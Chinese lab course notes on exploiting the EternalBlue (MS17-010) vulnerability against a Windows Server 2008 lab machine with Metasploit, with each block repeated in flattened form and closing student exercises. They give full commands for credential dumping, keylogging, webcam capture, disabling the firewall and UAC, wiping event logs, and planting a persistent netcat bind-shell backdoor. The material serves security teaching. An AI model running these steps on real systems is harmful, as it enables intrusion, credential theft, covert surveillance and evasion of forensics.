内容回顾
MSF: msfconsole : 进入MSF控制台 msfconsole -q:进入MSF控制台(不显示提示内容) 漏洞利用的通用步骤: 1.搜索:search 漏洞名称 2.使用:use 程序序号/程序全称 3.设置目标:set rhosts 目标主机地址 4.运行:run/exploit back:回退 exit:退出MSF平台 ? : 查看命令提示 show options:查看选项 1.通用漏洞修复方案:到微软官网下载对用的漏洞补丁 2.判断漏洞产生的原因:修改配置,写程序来进行运行修复
永恒之蓝漏洞
漏洞为外界所知源于勒索病毒的爆发,该病毒利用NSA(美国国家安全局)泄露的网络攻击工具 永恒之蓝( EternalBlue )改造而成,漏洞通过TCP的445和139端口,利用SMB远程代码执行漏洞,攻击者可以在目标系统上执行任意代码
SMB(ServerMessageBlock)协议作为一种局域网文件共享传输协议,常被用来作为共享文件安全传输研究的平台
漏洞名称:CVE-2017-0143/44/45/46/47/48
安全公告:MS17-010
补丁文件:windows6.1-kb4012212-x64、windows6.1-kb4012215-x64
一、渗透侵入
1、漏洞扫描
msf6 > search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_ eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/ scanner /smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
// eternalblue攻击脚本, scanner检测脚本
msf6 > use 3
msf6 auxiliary( scanner /smb/smb_ms17_010) > set rhosts 192.168.10.142
msf6 auxiliary( scanner /smb/smb_ms17_010) > run
[+] 192.168.10.142:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.10.142:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
// VULNERABLE 目标是脆弱的

msf6 > search ms17-010 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/smb/ms17_010_ eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution 2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 3 auxiliary/ scanner /smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection 4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution // eternalblue攻击脚本, scanner检测脚本 msf6 > use 3 msf6 auxiliary( scanner /smb/smb_ms17_010) > set rhosts 192.168.10.142 msf6 auxiliary( scanner /smb/smb_ms17_010) > run [+] 192.168.10.142:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit) [*] 192.168.10.142:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed // VULNERABLE 目标是脆弱的
2、漏洞利用msf6 auxiliary(scanner/smb/smb_ms17_010) > use 0
msf6 exploit(windows/smb/ms17_010_ eternalblue ) > set rhosts 192.168.10.142
msf6 exploit(windows/smb/ms17_010_ eternalblue ) > run
[*] Started reverse TCP handler on 192.168.10.224:4444 //开启4444端口
……
[*] Meterpreter session 1 opened ( 192.168.10.224:4444 -> 192.168.10.142:49162 ) at 2023-03-09 12:03:51 +0800
[+] 192.168.10.142:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.10.142:445 - =-=-=-=-=-=-=-=-=-=-=-=-=- WIN -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.10.142:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter >
meterpreter >
// 成功 侵入 的目标主机,开启会话(192.168.10.224:4444 -> 192.168.10.142:49162)
msf6 auxiliary(scanner/smb/smb_ms17_010) > use 0 msf6 exploit(windows/smb/ms17_010_ eternalblue ) > set rhosts 192.168.10.142 msf6 exploit(windows/smb/ms17_010_ eternalblue ) > run [*] Started reverse TCP handler on 192.168.10.224:4444 //开启4444端口 …… [*] Meterpreter session 1 opened ( 192.168.10.224:4444 -> 192.168.10.142:49162 ) at 2023-03-09 12:03:51 +0800 [+] 192.168.10.142:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.10.142:445 - =-=-=-=-=-=-=-=-=-=-=-=-=- WIN -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.10.142:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= meterpreter > meterpreter > // 成功 侵入 的目标主机,开启会话(192.168.10.224:4444 -> 192.168.10.142:49162)
二、后渗透
1、获取windows 服务器的密文密码meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee: e02bc503339d51f71d913c245d35b50b
复制第四部分到网站查询 https://cmd5.com/
meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee: e02bc503339d51f71d913c245d35b50b
复制第四部分到网站查询 https://cmd5.com/
2、通过kiwi模块获取明文密码meterpreter > load kiwi //加载kiwi模块
meterpreter > creds_all //检测所有凭证,该命令可以列举系统中的明文密码
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator WIN-5MQI51VLCDC Tedu.cn123
win-5mqi51vlcdc$ WORKGROUP (null)
meterpreter > load kiwi //加载kiwi模块 meterpreter > creds_all //检测所有凭证,该命令可以列举系统中的明文密码 kerberos credentials ==================== Username Domain Password -------- ------ -------- (null) (null) (null) Administrator WIN-5MQI51VLCDC Tedu.cn123 win-5mqi51vlcdc$ WORKGROUP (null)
3、屏幕截图/屏幕共享meterpreter > screenshot //屏幕截图
Screenshot saved to: /home/kali/桌面/ZkNiRnVs.jpeg //截屏已经保存到桌面上
meterpreter > screenshare //屏幕共享
meterpreter > webcam_stream //监控摄像头
meterpreter > screenshot //屏幕截图 Screenshot saved to: /home/kali/桌面/ZkNiRnVs.jpeg //截屏已经保存到桌面上 meterpreter > screenshare //屏幕共享 meterpreter > webcam_stream //监控摄像头
4、进程迁移
meterpreter > getuid //查看用户身份
meterpreter > ps //查看进程列表
meterpreter > getpid //查看自己的PID
meterpreter > ps -S explorer //查找explorer进程(用户权限Administrator、不易被结束)
Filtering on 'explorer'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
2828 2620 explorer.exe x64 1 WIN-53H85RJ4I2T\ Administrator C:\Windows\Explorer.EXE
meterpreter > migrate 2828 //迁移进程到explorer,稳定,隐蔽,切换用户权限
[*] Migrating from 2456 to 2828...
[*] Migration completed successfully.
meterpreter > getuid //具有administrator身份
Server username: WIN-5MQI51VLCDC\ Administrator
meterpreter > getuid //查看用户身份 meterpreter > ps //查看进程列表 meterpreter > getpid //查看自己的PID meterpreter > ps -S explorer //查找explorer进程(用户权限Administrator、不易被结束) Filtering on 'explorer' Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 2828 2620 explorer.exe x64 1 WIN-53H85RJ4I2T\ Administrator C:\Windows\Explorer.EXE meterpreter > migrate 2828 //迁移进程到explorer,稳定,隐蔽,切换用户权限 [*] Migrating from 2456 to 2828... [*] Migration completed successfully. meterpreter > getuid //具有administrator身份 Server username: WIN-5MQI51VLCDC\ Administrator
5、执行键盘操作记录meterpreter > run post/windows/capture/keylog_recorder //开启键盘记录后渗透脚本
key:键盘
log:日志
recorder:记录器
[*] Executing module against WIN-5MQI51VLCDC
[*] Starting the keylog recorder...
[*] Keystrokes being saved in to /root/.msf4/loot/ 20230309152518 _default_192.168.10.142_host.windows.key_914421.txt
[*] Recording keystrokes...
//键盘操作记录保存在/root/.msf4/loot/20230309152518_default……
打开记事本,输入任意内容
^C [*] User interrupt. //按Ctrl+C结束
[*] Shutting down keylog recorder. Please wait..
[root@kaili ~]# cat /root/.msf4/loot/ 20230309152518 _default_192.168.10.142...
//打开新的终端,执行命令检查文件
meterpreter > run post/windows/capture/keylog_recorder //开启键盘记录后渗透脚本 key:键盘 log:日志 recorder:记录器 [*] Executing module against WIN-5MQI51VLCDC [*] Starting the keylog recorder... [*] Keystrokes being saved in to /root/.msf4/loot/ 20230309152518 _default_192.168.10.142_host.windows.key_914421.txt [*] Recording keystrokes... //键盘操作记录保存在/root/.msf4/loot/20230309152518_default…… 打开记事本,输入任意内容 ^C [*] User interrupt. //按Ctrl+C结束 [*] Shutting down keylog recorder. Please wait.. [root@kaili ~]# cat /root/.msf4/loot/ 20230309152518 _default_192.168.10.142... //打开新的终端,执行命令检查文件
6、 防火墙配置meterpreter > shell //进入windows2008的cmd命令行
C:\Windows\system32> chcp 65001 //消除乱码
C:\Windows\system32> netsh advfirewall set allprofiles state off
C:\Windows\system32> netsh advfirewall set allprofiles state on
C:\Windows\system32> netsh firewall add portopening tcp 444 backdoor enable all
防火墙 添加 开启端口 协议 端口 名字 启用
netsh:network shell 网络管理工具
advfirewall:advanced firewall 高级防火墙
set:设置
allprofiles:all 所有的 profiles 配置
state:状态.
off:关闭
on:开启
meterpreter > shell //进入windows2008的cmd命令行 C:\Windows\system32> chcp 65001 //消除乱码 C:\Windows\system32> netsh advfirewall set allprofiles state off C:\Windows\system32> netsh advfirewall set allprofiles state on C:\Windows\system32> netsh firewall add portopening tcp 444 backdoor enable all 防火墙 添加 开启端口 协议 端口 名字 启用 netsh:network shell 网络管理工具 advfirewall:advanced firewall 高级防火墙 set:设置 allprofiles:all 所有的 profiles 配置 state:状态. off:关闭 on:开启
7、 关闭UACUAC(User Account Control)用户帐户控制,windows操作系统中一种安全控制机制,可以防止未经授权应用程序的自动安装,阻止恶意程序win2008 检查 UAC 状态控制面板 — 用户账户 — 更改用户账户控制设置修改注册表项,关闭用户账户控制c:\windows\system>
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
UAC(User Account Control)用户帐户控制,windows操作系统中一种安全控制机制,可以防止未经授权应用程序的自动安装,阻止恶意程序
win2008 检查 UAC 状态
控制面板 — 用户账户 — 更改用户账户控制设置
修改注册表项,关闭用户账户控制
c:\windows\system> reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
8、在meterpreter 下清除日志通过"事件查看器"可以查看系统的日志(应用程序、系统、安全)黑客会“擦除痕迹”以免被“溯源”渗透测试时,不要清除日志!!!c:\windows\system> exit // 退出win2008 cmd命令行终端
meterpreter > clearev //擦除windows 事件查看器
[] Wiping 1146 records from Application... //擦除1146应用日志
[] Wiping 3288 records from System... //擦除3288系统日志
[*] Wiping 2669 records from Security... //擦除2669 安全日志
通过"事件查看器"可以查看系统的日志(应用程序、系统、安全)
黑客会“擦除痕迹”以免被“溯源”
渗透测试时,不要清除日志!!!
c:\windows\system> exit // 退出win2008 cmd命令行终端 meterpreter > clearev //擦除windows 事件查看器 [] Wiping 1146 records from Application... //擦除1146应用日志 [] Wiping 3288 records from System... //擦除3288系统日志 [*] Wiping 2669 records from Security... //擦除2669 安全日志
三、持久性后门
防止目标主机修补了漏洞后,无法通过系统漏洞侵入目标主机。植入后门并设置开机自启,黑客可以通过后门444口远程控制目标主机
NC:(netcat)被称为网络工具中的瑞士军刀,体积小巧,但功能强大。可以在两台设备上面相互交互,即侦听模式/传输模式
1、上传后门程序nc.exe 到win-2008
meterpreter > upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32 //上传nc到目标主机 meterpreter > ls nc.exe //查看上传结果及权限 100777/rwxrwxrwx 59392 fil 2023-03-09 17:25:27 +0800 nc.exe
2、配置注册表开机自启
Windows“任务计划程序”可以配置定期运行某些程序(win+R输入taskschd.msc查看计划任务)
开始 — 管理工具 — 任务计划程序
在 meterpreter > 执行命令,远程配置win-2008注册表,实现nc.exe 能够开机自启
meterpreter > shell //进入cmd命令行 C:\Windows\system32> chcp 65001 //消除乱码 C:\Windows\system32> schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart 创建 指定名称 执行的用户 指定运行程序的位置 开启端口号 开机时执行 schtasks :scheduled tasks 计划任务 /create :创建 /tn : task name 任务名称 /ru :run user 运行用户 system :系统用户 /tr :task run 任务执行的操作 -Ldp :Listen and port 监听 端口 -e :execute 执行 /sc :schedule 计划任务 表示计划任务触发的时机 onstart :开机 整个命令含义 schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart 表示: 使用计划任务(schtasks)实用程序创建一个名为"nc"的新任务, 以系统权限运行,在系统启动时执行,并执行位于"c:\windows\system32\nc.exe"的"netcat"程序, 监听端口444并在接收到连接时执行命令提示符。
3、重启win-2008,看nc是否开机自启动
验证:如果444端口开启代表nc启动成功
打开命令提示符:
C:\Users\Administrator> netstat -an // 查找444端口 或 ctrl + shift + Esc打开任务管理器,在进程中查看有没有nc.exe
4、后门接入
在 kali 连接 win2k8 ,在kali 中打开一个新的终端
[root@kali ~] nc 192.168.10.142 444 C:\Windows\system32> // 成功进入到目标主机命令行
MS17-010漏洞利用过程:
一.验证MS17-010漏洞是否存在
0.登录MSF控制台: msfconsole -q
1.搜索MS17-010漏洞相关程序:search ms17-010
2.序号3对应的程序是漏洞检测程序,能够判断目标主机是否存在MS17-010漏洞
use 3
3.设置目标地址:set rhosts 192.168.10.142 (目标主机地址)
4.运行程序:run/exploit
结果:Host is likely vulnerable to MS17-010!(主机可能存在MS17-010漏洞)
二.利用漏洞进行攻击
1.use 0 (使用序号0对应的漏洞利用程序)
2.设置目标地址:set rhosts 192.168.10.142 (目标主机地址)
3.run (运行)
结果:metepreter> 代表漏洞利用成功,建立了与目标主机的连接
三.获取账号密码信息
成功与目标主机建立了连接:
metepreter> hashdump (获取目标主机的用户名及加密密码)
metepreter>load kiwi (加载kiwi模块,获取凭证信息时可能会出现权限问题,可以迁移到一个SYSTEM用户权限进程下)
metepreter>ps -S "csrss" (搜索csrss.exe进程,获取进程号)
metepreter>migrate 进程号 (迁移进程,获取SYSTEM权限)
metepreter>creds_all (获取所有凭证,加密的密码会进行解析)
四.进行键盘记录及屏幕截图及屏幕共享
metepreter>screenshot (进行屏幕截图)
metepreter> screenshare(屏幕共享)
进行键盘记录:
metepreter>ps -S "explorer.exe" (搜索名为explorer的进程,身份为Administrator)
metepreter>migrate 进程序号 (进程迁移到对应序号的进程)
metepreter>getuid (获取用户信息)
metepreter>run post/windows/capture/keylog_recorder (开启键盘记录器)
在win2008用键盘输入内容
在kali2022查看键盘记录内容的位置
metepreter>cat 键盘记录保存位置的文件名
五.开关目标主机防火墙,在防火墙开启后门端口
meterpreter > shell
C:\Windows\system32> chcp 65001 //消除乱码
C:\Windows\system32> netsh advfirewall set allprofiles state off
C:\Windows\system32> netsh advfirewall set allprofiles state on
C:\Windows\system32> netsh firewall add portopening tcp 6666 backdoor enable all
六.关闭用户账户控制,清理日志
c:\windows\system> reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
c:\windows\system32>exit
meterpreter>clearev
七.上传nc.exe瑞士军刀到目标主机,设置nc.exe开启自启
meterpreter > upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32 //上传nc到目标主机
meterpreter > ls nc.exe
meterpreter > shell
C:\Windows\system32>chcp 65001 //消除乱码
C:\Windows\system32>
schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\
nc.exe -Ldp 6666 -e cmd.exe" /sc onstart
八.远程连接nc.exe
在kali中打开新的终端:
┌──(root㉿kali)-[~]
└─# nc 植入nc.exe程序地址 防火墙预留的端口
练习
零.还原win2008快照到靶机位置,并且自己获取win2008 IP地址(192.168.10.134) 一.验证win2008主机MS17-010漏洞是否存在 1.使用openvas扫描 2.使用MSF进行验证 二.发起攻击(获取密码,截图,屏幕共享,键盘记录) 三.后渗透攻击(关闭防火墙,关闭UAC,在防火墙上留下6666后门端口,清理日志记录) 四.植入nc.exe,并且设置nc.exe开机自启 五.使用kali通过6666后门端口与win2008做远程连接